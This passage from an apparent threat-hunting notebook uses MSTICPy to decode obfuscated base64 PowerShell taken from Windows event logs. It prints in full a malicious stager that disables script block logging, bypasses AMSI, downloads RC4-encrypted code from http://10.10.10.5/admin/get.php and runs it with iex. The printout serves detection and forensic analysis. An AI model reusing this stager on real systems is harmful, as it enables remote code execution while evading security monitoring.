ahqaiabdag8ababmaeuaqwbuaekatwbuafmalgbhaeuatgblafiaaqbdac4asabbahmaaabtaguadabbahmavabsaekabgbnaf0akqapah0ajabsaguarga9afsaugblagyaxqauaeeacwbtaeuabqbiagwaeqauaecazqb0afqawqbwaeuakaanafmaeqbzahqazqbtac4atqbhag4ayqbnaguabqblag4adaauaeeadqb0ag8abqbhahqaaqbvag4algbbag0acwbpaccakwanafuadabpagwacwanackaowakafiarqbmac4arwbfahqargbjaguatabeacgajwbhag0acwbpaekabgbpahqarganacsajwbhagkabablagqajwasaccatgbvag4auab1agiababpagmalabtahqayqb0agkaywanackalgbtaeuavabwageatab1aeuakaakag4adqbmaewalaakahqaugb1aeuakqa7ah0aowbbafmaeqbtahqarqbnac4atgbfafqalgbtaguacgbwaekaywblafaatwbjag4adabnageatgbbaecarqbyaf0aoga6aeuaeabqaeuaywbuadeamaawaemabwbuafqaaqbuafuazqa9adaaowakadgazga1agiaoqa9ae4arqbxac0atwbcagoarqbdahqaiabtafkacwbuaeuabqauae4azqbuac4avwbfagiaqwbmagk
decoded_strings = (
ps_registry_df[:1].mp_b64.extract(column="Message", utf16=True).decoded_string
)
decoded_strings
0 IF($PSVerSIONTAble.PSVErSion.MaJoR -gE 3){$43de2=[REF].AsSEmbly.GetTypE('System.Management.Autom...
1 IF($PSVERsIONTABLe.PSVeRsIOn.MAJOR -gE 3){$43De2=[REF].AssemBLy.GETTYPe('System.Management.Autom...
2 http://10.10.10.5
Name: decoded_string, dtype: object
# Reformat and display
from msticpy.vis.code_view import display_html
display_html(
format_powershell(decoded_strings[0]),
language="powershell"
)
if($psversiontable.psversion.major -ge 3)
{
$43de2=[ref].assembly.gettype('system.management.automation.utils')."getfield"('cachedgrouppolicysettings','nonpublic,static')
if($43de2)
{
$712db=$43de2.getvalue($null)
if($712db['scriptblocklogging'])
{
$712db['scriptblocklogging']['enablescriptblocklogging']=0
$712db['scriptblocklogging']['enablescriptblockinvocationlogging']=0
}
$val=[collections.generic.dictionary[string,system.object]]::new()
$val.add('enablescriptblocklogging',0)
$val.add('enablescriptblockinvocationlogging',0)
$712db['hkey_local_machine\software\policies\microsoft\windows\powershell\scriptblocklogging']=$val
}
else
{
[scriptblock]."getfield"('signatures','nonpublic,static').setvalue($null,(new-object collections.generic.hashset[string]))
}
$ref=[ref].assembly.gettype('system.management.automation.amsiutils')
$ref.getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)
}
[system.net.servicepointmanager]::expect100continue=0
$8f5b9=new-object system.net.webclient
$u='mozilla/5.0 (windows nt 6.1
wow64
trident/7.0
rv:11.0) like gecko'
$ser=$([text.encoding]::unicode.getstring([convert]::frombase64string('aab0ahqacaa6ac8alwaxadaalgaxadaalgaxadaalga1aa==')))
$t='/admin/get.php'
$8f5b9.headers.add('user-agent',$u)
$8f5b9.proxy=[system.net.webrequest]::defaultwebproxy
$8f5b9.proxy.credentials = [system.net.credentialcache]::defaultnetworkcredentials
$script:proxy = $8f5b9.proxy
$k=[system.text.encoding]::ascii.getbytes('0]rx3y4:()jchakkr7vg+[/up92tmgqv')
$r=
{
$d,$k=$args
$s=0..255
0..255|%
{
$j=($j+$s[$_]+$k[$_%$k.count])%256
$s[$_],$s[$j]=$s[$j],$s[$_]
}
$d|%
{
$i=($i+1)%256
$h=($h+$s[$i])%256
$s[$i],$s[$h]=$s[$h],$s[$i]
$_-bxor$s[($s[$i]+$s[$h])%256]
}
}
$8f5b9.headers.add("cookie","uoswohnlcylf=2oua7qjmmthisup9t7mzvjln3w4=")
$data=$8f5b9.downloaddata($ser+$t)
$iv=$data[0..3]
$data=$data[4..$data.length]
-join[char[]](& $r $data ($iv+$k))|iex
... getstring([convert]::frombase64string('aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==')))
The encoded string in the de-obfuscted code above won't decode because we've made everything lowercase in the de-obfuscation.
When MSTICPy sees nested encodings it returns each item as a separate
row in the results.
The decoded value of the nested string is in the next row in our decoded results Dataframe.
ps_registry_df[:1].mp_b64.extract(column="Message", utf16=True).iloc[2]
reference (, 1., 3)
original_string aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==
file_name unknown
file_type None
input_bytes b'h\x00t\x00t\x00p\x00:\x00/\x00/\x001\x000\x00.\x001\x000\x00.\x001\x000\x00.\x005\x00'
decoded_string http://10.10.10.5
encoding_type utf-16
file_hashes {'md5': 'e8936909fe686871b3ec4d16f6aa6e51', 'sha1': '47ae942bc9fe1e97e44e9f922870a418dfe98a1d', ...
md5 e8936909fe686871b3ec4d16f6aa6e51
sha1 47ae942bc9fe1e97e44e9f922870a418dfe98a1d
sha256 d99917d643e383381ebc8d641e558e460ceec463c9b95e768156b29fcc99cb48
printable_bytes 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 31 00 30 00 2e 00 31 00 30 00 2e 00 ...
src_index 146
Message Pipeline execution details for command line: $RegPath = 'HKCU:\Software\Microsoft\Windows\Curren...
full_decoded_string Pipeline execution details for command line: $RegPath = 'HKCU:\Software\Microsoft\Windows\Curren...
Name: 2, dtype: object
%%b64 MSTICPy magic to decode inline¶%%b64 --clean --utf16
aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==
'http://10.10.10.5\n'
OTRF Security Datasets https://securitydatasets.com/
Sysmon event ID 13 https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90013
Event ID 4698 https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4698
Powershell 800 pipeline event https://www.myeventlog.com/search/show/975
Powershell de-obfuscator https://github.com/thewhiteninja/deobshell